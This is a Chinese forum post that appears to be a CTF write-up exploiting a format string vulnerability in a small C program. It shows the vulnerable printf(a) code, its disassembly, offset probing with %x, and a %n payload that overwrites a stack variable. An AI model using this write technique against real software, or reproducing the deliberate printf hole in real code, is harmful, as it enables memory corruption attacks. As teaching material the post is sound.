某道 Pwn(格式化字符串漏洞)

本贴最后更新于 2790 天前,其中的信息可能已经天翻地覆

格式化字符串漏洞近几年出现频率少了,但是一些 CTF 中还有涉及,就当玩玩好了。

首先看这一段代码,什么比赛的题我忘了:

#include <stdio.h>
int main(void)
{ 
	int flag = 0;
	int *p = &flag; 
	char a[100];
	scanf("%s",a);
	printf(a);
	if(flag == 2000)
	{
		printf("good!!\n");
	}

    return 0;
}

目标是拿到 Flag。我们使用 GCC 编译之后用 ObjDump 反编译:

 8048507:	c7 45 88 00 00 00 00 	movl   $0x0,-0x78(%ebp) ;flag
 804850e:	8d 45 88             	lea    -0x78(%ebp),%eax
 8048511:	89 45 8c             	mov    %eax,-0x74(%ebp) ;p
 8048514:	83 ec 08             	sub    $0x8,%esp
 8048517:	8d 45 90             	lea    -0x70(%ebp),%eax ;a
 804851a:	50                   	push   %eax
 804851b:	68 f0 85 04 08       	push   $0x80485f0
 8048520:	e8 bb fe ff ff       	call   80483e0 <__isoc99_scanf@plt>
 8048525:	83 c4 10             	add    $0x10,%esp

我们可以看到 pflag 下面四个偏移,a 又在 p 下面四个偏移,用缓冲区溢出是不可能了。下面有个 printf,也许可以利用字符串格式化漏洞。

继续往下看汇编:

 8048528:	83 ec 0c             	sub    $0xc,%esp
 804852b:	8d 45 90             	lea    -0x70(%ebp),%eax
 804852e:	50                   	push   %eax
 804852f:	e8 5c fe ff ff       	call   8048390 <printf@plt>
 8048534:	83 c4 10             	add    $0x10,%esp

我们可以看到 printf 总共接受了 4 个参数,实际上只有一个有效参数。

我们可以使用 AAAA%x 来寻找 a 的偏移:

wizard@ubuntu:~/Desktop$ ./t2
AAAA%x
AAAAffee9b78wizard@ubuntu:~/Desktop$ ./t2
AAAA%2$x
AAAAf767e329wizard@ubuntu:~/Desktop$ ./t2
AAAA%4$x
AAAA0wizard@ubuntu:~/Desktop$ ./t2
AAAA%5$x
AAAAfff44cd0wizard@ubuntu:~/Desktop$
AAAA%6$x
AAAA41414141 

我们看到了一个 0 ,又看到了一个很像地址的东西。然后就是我们输入的 AAAA。我们于是可以断定,第四个 %xflag,第五个 %xp,第六个 %xa 的起始位置。

再试一下,发现栈基址是变化的:

wizard@ubuntu:~/Desktop$ ./t2
AAAA%5$x
AAAAffad7a70

也就是说,我们不能把 f 的地址写进 a 的前四个字节,但是我们可以利用 p。构造字符串 "%.2000%x%5$n"

ffe43b880wizard@ubuntu:~/Desktop$ ./t2
%.2000x%5$n
...
0000000000000000000000000000000000000ffce9f98good!!

成功。

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...
  • wizardforcel
    作者

    所以为什么 ASM 的代码段这么难看 @88250

    1 回复
  • 其他回帖
  • anarkh

    小白求问 printf(a)编译会报 format string is not a string literal 错误怎么解决啊

  • 88250

    估计把 asm 标识去掉就好了

推荐标签 标签

  • OnlyOffice
    4 引用 • 15 关注
  • Flume

    Flume 是一套分布式的、可靠的,可用于有效地收集、聚合和搬运大量日志数据的服务架构。

    9 引用 • 6 回帖 • 616 关注
  • Rust

    Rust 是一门赋予每个人构建可靠且高效软件能力的语言。Rust 由 Mozilla 开发,最早发布于 2014 年 9 月。

    58 引用 • 22 回帖 • 10 关注
  • 持续集成

    持续集成(Continuous Integration)是一种软件开发实践,即团队开发成员经常集成他们的工作,通过每个成员每天至少集成一次,也就意味着每天可能会发生多次集成。每次集成都通过自动化的构建(包括编译,发布,自动化测试)来验证,从而尽早地发现集成错误。

    14 引用 • 7 回帖
  • Logseq

    Logseq 是一个隐私优先、开源的知识库工具。

    Logseq is a joyful, open-source outliner that works on top of local plain-text Markdown and Org-mode files. Use it to write, organize and share your thoughts, keep your to-do list, and build your own digital garden.

    5 引用 • 62 回帖 • 10 关注
  • iOS

    iOS 是由苹果公司开发的移动操作系统,最早于 2007 年 1 月 9 日的 Macworld 大会上公布这个系统,最初是设计给 iPhone 使用的,后来陆续套用到 iPod touch、iPad 以及 Apple TV 等产品上。iOS 与苹果的 Mac OS X 操作系统一样,属于类 Unix 的商业操作系统。

    84 引用 • 139 回帖 • 2 关注
  • ZeroNet

    ZeroNet 是一个基于比特币加密技术和 BT 网络技术的去中心化的、开放开源的网络和交流系统。

    1 引用 • 21 回帖 • 615 关注
  • OkHttp

    OkHttp 是一款 HTTP & HTTP/2 客户端库,专为 Android 和 Java 应用打造。

    16 引用 • 6 回帖 • 53 关注
  • TextBundle

    TextBundle 文件格式旨在应用程序之间交换 Markdown 或 Fountain 之类的纯文本文件时,提供更无缝的用户体验。

    1 引用 • 2 回帖 • 42 关注
  • Vditor

    Vditor 是一款浏览器端的 Markdown 编辑器,支持所见即所得、即时渲染(类似 Typora)和分屏预览模式。它使用 TypeScript 实现,支持原生 JavaScript、Vue、React 和 Angular。

    337 引用 • 1751 回帖 • 1 关注
  • jQuery

    jQuery 是一套跨浏览器的 JavaScript 库,强化 HTML 与 JavaScript 之间的操作。由 John Resig 在 2006 年 1 月的 BarCamp NYC 上释出第一个版本。全球约有 28% 的网站使用 jQuery,是非常受欢迎的 JavaScript 库。

    63 引用 • 134 回帖 • 728 关注
  • BND

    BND(Baidu Netdisk Downloader)是一款图形界面的百度网盘不限速下载器,支持 Windows、Linux 和 Mac,详细介绍请看这里

    107 引用 • 1281 回帖 • 31 关注
  • NetBeans

    NetBeans 是一个始于 1997 年的 Xelfi 计划,本身是捷克布拉格查理大学的数学及物理学院的学生计划。此计划延伸而成立了一家公司进而发展这个商用版本的 NetBeans IDE,直到 1999 年 Sun 买下此公司。Sun 于次年(2000 年)六月将 NetBeans IDE 开源,直到现在 NetBeans 的社群依然持续增长。

    78 引用 • 102 回帖 • 656 关注
  • abitmean

    有点意思就行了

    32 关注
  • Kotlin

    Kotlin 是一种在 Java 虚拟机上运行的静态类型编程语言,由 JetBrains 设计开发并开源。Kotlin 可以编译成 Java 字节码,也可以编译成 JavaScript,方便在没有 JVM 的设备上运行。在 Google I/O 2017 中,Google 宣布 Kotlin 成为 Android 官方开发语言。

    19 引用 • 33 回帖 • 54 关注
  • V2EX

    V2EX 是创意工作者们的社区。这里目前汇聚了超过 400,000 名主要来自互联网行业、游戏行业和媒体行业的创意工作者。V2EX 希望能够成为创意工作者们的生活和事业的一部分。

    17 引用 • 236 回帖 • 371 关注
  • Mac

    Mac 是苹果公司自 1984 年起以“Macintosh”开始开发的个人消费型计算机,如:iMac、Mac mini、Macbook Air、Macbook Pro、Macbook、Mac Pro 等计算机。

    164 引用 • 594 回帖 • 1 关注
  • 分享

    有什么新发现就分享给大家吧!

    246 引用 • 1780 回帖
  • 区块链

    区块链是分布式数据存储、点对点传输、共识机制、加密算法等计算机技术的新型应用模式。所谓共识机制是区块链系统中实现不同节点之间建立信任、获取权益的数学算法 。

    91 引用 • 751 回帖
  • PHP

    PHP(Hypertext Preprocessor)是一种开源脚本语言。语法吸收了 C 语言、 Java 和 Perl 的特点,主要适用于 Web 开发领域,据说是世界上最好的编程语言。

    175 引用 • 407 回帖 • 497 关注
  • 支付宝

    支付宝是全球领先的独立第三方支付平台,致力于为广大用户提供安全快速的电子支付/网上支付/安全支付/手机支付体验,及转账收款/水电煤缴费/信用卡还款/AA 收款等生活服务应用。

    29 引用 • 347 回帖
  • 爬虫

    网络爬虫(Spider、Crawler),是一种按照一定的规则,自动地抓取万维网信息的程序。

    106 引用 • 275 回帖
  • Solidity

    Solidity 是一种智能合约高级语言,运行在 [以太坊] 虚拟机(EVM)之上。它的语法接近于 JavaScript,是一种面向对象的语言。

    3 引用 • 18 回帖 • 364 关注
  • Gitea

    Gitea 是一个开源社区驱动的轻量级代码托管解决方案,后端采用 Go 编写,采用 MIT 许可证。

    4 引用 • 16 回帖 • 3 关注
  • 单点登录

    单点登录(Single Sign On)是目前比较流行的企业业务整合的解决方案之一。SSO 的定义是在多个应用系统中,用户只需要登录一次就可以访问所有相互信任的应用系统。

    9 引用 • 25 回帖 • 6 关注
  • IDEA

    IDEA 全称 IntelliJ IDEA,是一款 Java 语言开发的集成环境,在业界被公认为最好的 Java 开发工具之一。IDEA 是 JetBrains 公司的产品,这家公司总部位于捷克共和国的首都布拉格,开发人员以严谨著称的东欧程序员为主。

    180 引用 • 400 回帖
  • Python

    Python 是一种面向对象、直译式电脑编程语言,具有近二十年的发展历史,成熟且稳定。它包含了一组完善而且容易理解的标准库,能够轻松完成很多常见的任务。它的语法简捷和清晰,尽量使用无异义的英语单词,与其它大多数程序设计语言使用大括号不一样,它使用缩进来定义语句块。

    540 引用 • 672 回帖